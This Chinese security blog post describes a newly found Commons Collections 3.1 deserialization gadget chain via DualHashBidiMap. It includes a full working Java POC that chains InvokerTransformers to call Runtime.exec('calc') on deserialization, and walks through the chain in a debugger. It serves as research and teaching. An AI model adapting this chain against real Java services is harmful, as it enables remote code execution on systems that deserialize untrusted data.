【web安全】记一次 Commons Collections 新调用链的挖掘
前言
最近回顾了下之前的关于Commons Collections这块的笔记,从CC1到CC10,从调用链来看,其实都是很相似的。为了巩固下复习的效果,尝试挖掘一条新的调用链,遂出现了本文,大佬轻喷。
建议读者对Commons Collections链有一定了解后再阅读此文。
基础准备
这里直接用ysoserial的源码就可以,jdk的版本我这里用的是1.8u131。我们应该知道,在这个jdk版本下,CC1和CC3中利用的AnnotationInvocationHandler是经过修复的,在CC1和CC3的调用链中,都是利用AnnotationInvocationHandler.readObject()来作为入口。
所以,首先我们全局搜索“readObject(”:
经过筛选,找到org.apache.commons.collections.bidimap.DualHashBidiMap这个类,其依赖于commons-collections-3.1.jar
【关注私信回复“资料课”可获取网络安全 全套学习资料】
我们来看DualHashBidiMap的readObject():
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {in.defaultReadObject();
maps[0] = new HashMap();
maps[1] = new HashMap();
Map map = (Map) in.readObject();
putAll(map);
}
跟进DualHashBidiMap的父类AbstractDualBidiMap#putAll方法:
public void putAll(Map map) {for (Iterator it = map.entrySet().iterator(); it.hasNext();) {Map.Entry entry = (Map.Entry) it.next();
put(entry.getKey(), entry.getValue());
}
}
跟进AbstractDualBidiMap.put():
public Object put(Object key, Object value) {if (maps[0].containsKey(key)) {maps[1].remove(maps[0].get(key));
}
if (maps[1].containsKey(value)) {maps[0].remove(maps[1].get(value));
}
final Object obj = maps[0].put(key, value);
maps[1].put(value, key);
return obj;
}
注意这里的
if (maps[0].containsKey(key)) {maps[1].remove(maps[0].get(key));
}
1、由这个
maps[0].containsKey(key)
依据之前的CC链,可联想到HashMap#containsKey(key),其中调用了hash(key)->key.hashCode(),进而联想到TiedMapEntry#hashCode(),我们可构造将key设为TiedMapEntry对象即可。
2、由这个
maps[0].get(key)
依据之前的CC链,可联想到LazyMap.get(key),但是这里实际是无法构造利用的,后边会说到,读者可以先思考一下是为什么。
找到了readObject()入口,接下来我们有必要来了解一下DualHashBidiMap这个类的作用。
DualHashBidiMap
我们可以直接从源码来看:
依据此类的英文注释及其字段和方法的定义,可知commons-collections包中提供此集合类,作用为双向map,即可以通过key找到value,也可以通过value找到key。
其抽象类AbstractDualBidiMap为其提供了一些字段定义及一些常用方法。
大概思路有了,类的定义也了解了,我们可以开始构造POC
构造POC
我这里先贴上最终POC,然后会进行讲解。
package ysoserial;import org.apache.commons.collections.BidiMap;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;public class PocDualHashBidiMap {public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException, ClassNotFoundException, InstantiationException, IOException {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};
// 使用ChainedTransformer组合利用链
Transformer transformerChain = new ChainedTransformer(transformers);Map lazyMap = LazyMap.decorate(new HashMap(), transformerChain);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "1");// Map<String, Object>,这个Map对象的键是String类型,值是Object类型
Map<String, Object> map = new HashMap<String, Object>();
map.put("test", tiedMapEntry);
map.put("test1", "test1");// 反射创建对象
Class cls = Class.forName("org.apache.commons.collections.bidimap.DualHashBidiMap");
Constructor m_ctor = cls.getDeclaredConstructor(Map.class, Map.class, BidiMap.class);
m_ctor.setAccessible(true);
Object payload_instance = m_ctor.newInstance(map, null, null);FileOutputStream fileOutputStream = new FileOutputStream("payload_dualHashBidMap1.ser");
ObjectOutputStream outputStream = new ObjectOutputStream(fileOutputStream);
outputStream.writeObject(payload_instance);
outputStream.close();FileInputStream fis = new FileInputStream("payload_dualHashBidMap1.ser");
ObjectInputStream bit = new ObjectInputStream(fis);
bit.readObject();
}
}
第一部分(CC1)
Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};
// 使用ChainedTransformer组合利用链
Transformer transformerChain = new ChainedTransformer(transformers);Map lazyMap = LazyMap.decorate(new HashMap(), transformerChain);
这一部分是利用的CC1中的一部分POC,这里大概讲一下思路,不深入讲解了。
由于LazyMap对象是无法直接通过构造方法来构造的,需要通过其decorate方法来绑定一个转换器,这里绑定了ChainedTransformer对象。然后就可以通过调用LazyMap.get()进而调用到ChainedTransformer.transform(),又可进而遍历调用到ChainedTransformer对象中的4个对象(1个ConstantTransformer3个InvokerTransformer)的transform(),第一次遍历调用transform()的结果作为入参传入第二次遍历调用的transform(),以此类推。ConstantTransformer.transform()会直接返回传入的参数值,InvokerTransformer.transform()会反射调用方法。
第二部分(CC6)
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "1");
依据我们前边联想到的思路,这里为了利用TiedMapEntry#hashCode(),此方法是CC6和CC7其中的一环,这里就不分析了,后边调试的时候会说。
第三部分(DualHashBidiMap3入参protected构造方法)
Map<String, Object> map = new HashMap<String, Object>();
map.put("test", tiedMapEntry);
map.put("test1", "test1");// 反射创建对象
Class cls = Class.forName("org.apache.commons.collections.bidimap.DualHashBidiMap");
Constructor m_ctor = cls.getDeclaredConstructor(Map.class, Map.class, BidiMap.class);
m_ctor.setAccessible(true);
Object payload_instance = m_ctor.newInstance(map, null, null);
其实在这里,我们构造的恶意TiedMapEntry不管是放在键位还是值位,都是可以的,后边会说到。
我们在构造DualHashBidiMap对象时,选的是3入参的构造方法,这里看下:
protected DualHashBidiMap(Map normalMap, Map reverseMap, BidiMap inverseBidiMap) {super(normalMap, reverseMap, inverseBidiMap);
}
由于此构造方法为protected的,所以我们需要利用反射来构造
super对应DualHashBidiMap的父类AbstractDualBidiMap的构造方法:
protected AbstractDualBidiMap(Map normalMap, Map reverseMap, BidiMap inverseBidiMap) {super();
maps[0] = normalMap;
maps[1] = reverseMap;
this.inverseBidiMap = inverseBidiMap;
}
为了便于理解,配合调试来讲解:
当“DualHashBidiMap的构造方法中、调用super来调用父类AbstractDualBidiMap的构造方法”时,调试进入AbstractDualBidiMap类中,this表示的仍是DualHashBidiMap,也就是说,AbstractDualBidiMap构造的字段都是属于DualHashBidiMap对象的:
断点来到父类AbstractDualBidiMap的构造方法时,会先依据AbstractDualBidiMap类中,对于一些字段的初始化定义,都给到DualHashBidiMap对象
DualHashBidiMap对象会得到这些字段属性,包括maps[0]和maps[1]属性:public abstract class AbstractDualBidiMap implements BidiMap {/**
* Delegate map array. The first map contains standard entries, and the
* second contains inverses.
*/
protected transient final Map[] maps = new Map[2];
/**
* Inverse view of this map.
*/
protected transient BidiMap inverseBidiMap = null;
/**
* View of the keys.
*/
protected transient Set keySet = null;
/**
* View of the values.
*/
protected transient Collection values = null;
/**
* View of the entries.
*/
protected transient Set entrySet = null;
而这个
maps[0] = normalMap;
对应POC中:
Object payload_instance = m_ctor.newInstance(map, null, null);
所以,赋值给maps[0]的就是normalMap(我们构造的HashMap对象)
也就是说,此时的DualHashBidiMap对象的maps[0]属性(我们构造的HashMap对象)的其中一个HashMap$Node对象,对应POC构造的:
Map<String, Object> map = new HashMap<String, Object>();
map.put(“test”, tiedMapEntry);
DualHashBidiMap对象构造好之后,序列化时,会将这些字段属性一层一层写入序列化流:
调试
构造好POC后,打上断点,调试分析一下:
反序列化时,来看DualHashBidiMap的自实现的 readObject() :
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {in.defaultReadObject();
maps[0] = new HashMap();
maps[1] = new HashMap();
Map map = (Map) in.readObject();
putAll(map);
}
可以看到,maps[0]和maps[1]属性都被赋值为空的HashMap对象了,这不是与我们上边构造的冲突了吗?
调试到此处看下:
我们上边构造的DualHashBidiMap对象的maps[0]属性(我们构造的HashMap对象)的其中一个HashMap$Node对象的值就是恶意TiedMapEntry对象。
调试发现,DualHashBidiMap的自实现的 readObject() 中的
Map map = (Map) in.readObject();
实际就是把我们POC中构造的HashMap对象:
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, “1”);
Map<String, Object> map = new HashMap<String, Object>();
map.put(“test”, tiedMapEntry);
给取出来了,给到Map对象map,然后调用 putAll() 时,作为入参传入此Map对象:
可以这样理解,readObject方法就是反序列化读取出来当前类中的对象,具体是哪个字段,哪一层的,其实是不固定的:
执行完
Map map = (Map) in.readObject();
这句后,反序列化之后的DualHashBidiMap对象的maps[0]和maps[1]属性还是空的HashMap对象,没有改变:
跟进putAll方法:
迭代读取HashMap$Node对象节点。
第一个就是我们构造的恶意HashMap$Node对象:
跟进put方法:
maps[0]和maps[1]都为刚才readObject方法中赋值的空的HashMap对象,这也就是前边说的,为什么不可利用LazyMap.get()
我们可以通过这个maps[1],来到HashMap#containsKey方法:
此时的key为构造的恶意TiedMapEntry对象,继续跟进hash方法:
跟进hashCode方法:
继续跟进getValue方法:
这里开始就和CC1的调用链重叠了,就不继续跟进了。
调用链
DualHashBidiMap.readObject() -> AbstractDualBidiMap.putAll() -> AbstractDualBidiMap.put() -> HashMap.containsKey() -> HashMap.hash() -> TiedMapEntry.hashCode() -> TiedMapEntry.getValue() -> LazyMap.get() -> ChainedTransformer.transform()
结语
其实就是一些之前CC链的拼接而已。
【web安全】记一次 Commons Collections 新调用链的挖掘相关推荐
- java multivaluemap_java – 使用自定义值集合类型创建Commons Collections MultiValueMap
Apache Commons Collections库的4.0版本增加了泛型支持.我无法转换代码以利用它: 我想要一个MultiValueMap,它将String作为键,并将一个字符串集合作为值.但: ...
- Commons Collections
Apache Commons Collections - Overview Commons Collections增强了Java Collections Framework.它提供了几个功能,使收集处 ...
- Java猿社区—Apache Commons Collections—CollectionUtils工具类详解
欢迎关注作者博客 简书传送门 文章目录 前言 代码示例 前言 论阅读源码的重要性,后期会对各大开源框架相关源码做详细阅读,并熟悉使用,本次主要对Apache Commons Collections中C ...
- Apache Commons Collections包和简介
背景介绍 Apache Commons是Apache软件基金会的项目,曾经隶属于Jakarta项目.Commons的目的是提供可重用的.解决各种实际的通用问题且开源的Java代码.Commons由三部 ...
- 常见web漏洞验证攻略(萌新入坑必备!)
常见web漏洞验证攻略(萌新入坑必备 首先,祝大家愚人节快乐,玩笑有度,"愚"人同乐. 其次,回想当年刚入坑的时候了解的比较少,也没人带,一般过去就是xss,后来xss的防护了,就 ...
- spring整合hibernate出现NoClassDefFoundError: org/apache/commons/collections/map/LRUMap
错误代码: org.springframework.beans.factory.BeanCreationException: Error creating bean with name 'sessio ...
- maven使用mvn命令创建项目异常java.lang.NoClassDefFoundError: org/apache/commons/collections/ExtendedProperties
命令: mvn archetype:generate -DarchetypeArtifactId=jersey-quickstart-gri zzly2 -DarchetypeGroupId=org. ...
- apache commons collections CollectionUtils工具类简单使用
CollectionUtils提供很多对集合的操作方法,常用的方法如下 不仅可以判断Collection集合类,还可以判断JSONArray是否为空. import org.apache.common ...
- Apache Commons Collections反序列化漏洞分析与复现
聚焦源代码安全,网罗国内外最新资讯! 1.1 状态 完成漏洞挖掘条件分析.漏洞复现. 1.2 漏洞分析 存在安全缺陷的版本:Apache Commons Collections3.2.1以下,[JD ...
最新文章
- 诊断IIS中的ASP0115错误
- 开源项目JacpFX
- 批处理延时启动的几个方法
- iphone最新款手机_iPhone 丢了99.9%能找回?这种做法不可信!!
- 网站后端_Python+Flask.0007.FLASK构造跳转之301跳转与302重定向?
- java取模运算_Java的四则运算符与取模运算符
- 漫步凸分析六——凸集的相对内点
- java 反射覆盖方法,java – 确定一个方法是否覆盖使用反射的另一个?
- 手机配置代理报错invalid host header
- 我的第一次--我与51CTO的故事
- Mysql修改字段长度
- Ribbon界面开发(C++)
- OSPF P2MP 扩展知识
- 熟练使用Wireshark排除网络故障的方法
- VScode插件管理(C/C++)
- 一个屌丝程序猿的人生(六十九)
- 解决外边距坍塌的几种方法
- linux服务器之间文件传输scp
- Scratch-(五)满天星-画笔绘制五角星
- 华为鸿蒙替换,替换安卓!华为鸿蒙OS旗舰来了
热门文章
- Python编程语言学习:在for循环中如何同时使用2个变量或者3个变量
- TF之DNN:TF利用简单7个神经元的三层全连接神经网络【2-3-2】实现降低损失到0.000以下
- 逻辑回归模型详解(Logistic Regression)
- BindingException: Invalid bound statement (not found)问题排查:SpringBoot集成Mybatis重点分析...
- win10下使用wget
- bzoj 1412 [ZJOI2009]狼和羊的故事 最小割建图
- json数组显示格式
- android缓存之Lrucache 和LinkedHashMap
- SQLserver单表数据导入导出
- mac svn .a文件的上传方法